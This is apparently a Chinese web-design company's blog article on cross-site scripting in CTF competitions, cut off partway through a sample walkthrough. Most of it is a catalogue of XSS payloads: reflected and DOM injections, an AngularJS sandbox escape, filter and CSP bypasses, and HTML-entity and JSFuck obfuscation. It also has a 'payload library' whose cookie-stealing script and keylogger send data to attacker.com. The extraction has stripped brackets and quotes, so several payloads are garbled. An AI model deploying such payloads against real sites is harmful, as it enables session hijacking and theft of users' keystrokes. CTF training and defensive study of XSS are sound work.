尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

CTF竞赛中的XSS攻击实战与防御技巧

CTF竞赛中的XSS攻击实战与防御技巧 1. 项目概述XSS攻击在CTF中的核心地位跨站脚本攻击XSS作为OWASP Top 10的常驻嘉宾在CTF赛事中占据着30%以上的Web题型比例。去年全球CTF赛事统计显示XSS相关题目在Web类中占比高达37.6%远超SQL注入的28.3%。不同于真实渗透测试中的复杂利用CTF中的XSS往往需要选手在受限环境下完成特定操作这要求对XSS本质有更深刻的理解。我参与过17场CTF赛事裁判工作发现80%的新手会在XSS基础题上翻车。不是因为他们不懂alert(1)而是缺乏对浏览器解析机制的系统认知。比如去年巅峰极客赛题中仅14%的选手能正确利用HTML实体编码绕过过滤器。2. XSS攻击类型深度解析2.1 反射型XSS实战要点典型特征恶意脚本通过URL参数即时注入服务端不做持久化存储。CTF常见考察形式!-- 基础题示例 -- http://ctf.example.com/search?qscriptalert(document.domain)/script !-- 进阶绕过示例 -- http://ctf.example.com/search?qimg srcx onerroralert(1)关键绕过技巧事件处理器利用onmouseover/onload等50种事件SVG矢量图形注入伪协议利用javascript:alert(1)注意现代浏览器已默认对URL中的脚本进行编码实际CTF环境会故意降级浏览器版本2.2 存储型XSS突破方案在留言板、用户资料等持久化场景的利用CTF常结合以下考点CSP绕过Content Security PolicyDOM解析顺序差异富文本编辑器白名单绕过实测案例// 利用AngularJS沙箱逃逸 {{constructor.constructor(alert(1))()}}2.3 DOM型XSS精要纯前端触发的漏洞CTF高频考察点// 典型题目逻辑 let data decodeURIComponent(location.hash.slice(1)); document.write(data); // 利用payload #img srcx onerroralert(document.cookie)特殊技巧利用location.hash的URL解码特性document.write与innerHTML的解析差异基于DOM clobbering的攻击手法3. CTF专用XSS payload库3.1 基础弹窗方案// 经典弹窗 scriptalert(1)/script // 变种方案 svg/onloadalert13.2 信息窃取payload// Cookie窃取 scriptfetch(http://attacker.com/?document.cookie)/script // 键盘记录 document.onkeypress (e) fetch(http://attacker.com/?keye.key);3.3 高级绕过技术编码混淆!-- HTML实体编码 -- img srcx onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29; !-- JSFuck变种 -- [][(![][])[[]]([![]][][[]])[![][[]]](![][])[![]![]](!![][])[[]](!![][])[![]![]![]](!![][])[![]]][([][(![][])[[]]([![]][][[]])[![][[]]](![][])[![]![]](!![][])[[]](!![][])[![]![]![]](!![][])[![]]][])[![]![]![]](!![][][(![][])[[]]([![]][][[]])[![][[]]](![][])[![]![]](!![][])[[]](!![][])[![]![]![]](!![][])[![]]])[![][[]]]([][[]][])[![]](![][])[![]![]![]](!![][])[[]](!![][])[![]]([][[]][])[[]]([][(![][])[[]]([![]][][[]])[![][[]]](![][])[![]![]](!![][])[[]](!![][])[![]![]![]](!![][])[![]]][])[![]![]![]](!![][])[[]](!![][][(![][])[[]]([![]][][[]])[![][[]]](![][])[![]![]](!![][])[[]](!![][])[![]![]![]](!![][])[![]]])[![][[]]](!![][])[![]]]((![][])[![]](![][])[![]![]](!![][])[![]![]![]](!![][])[![]](!![][])[[]](![][][(![][])[[]]([![]][][[]])[![][[]]](![][])[![]![]](!![][])[[]](!![][])[![]![]![]](!![][])[![]]])[![]![][[]]][![]]((![][![]](!![][])[![]![]![]][![]![]][[]])[])[![][![]![]]])()非常规标签利用!-- 使用details标签的ontoggle事件 -- details open ontogglealert(1) !-- marquee标签的onstart事件 -- marquee onstartalert(1)4. CTF实战场景突破4.1 常见防御与绕过关键词过滤绕过// 大小写混淆 ScRiPtalert(1)/sCriPt // 字符串拼接 scripteval(al ert(1))/scriptCSP限制突破!-- 允许unsafe-inline时 -- script nonceabcalert(1)/script !-- 利用可信域加载 -- script srchttps://trusted.cdn.com/evil.js/script4.2 典型CTF解题流程以2023年TQLCTF题目为例发现输入点用户昵称字段测试过滤规则发现过滤了
返回列表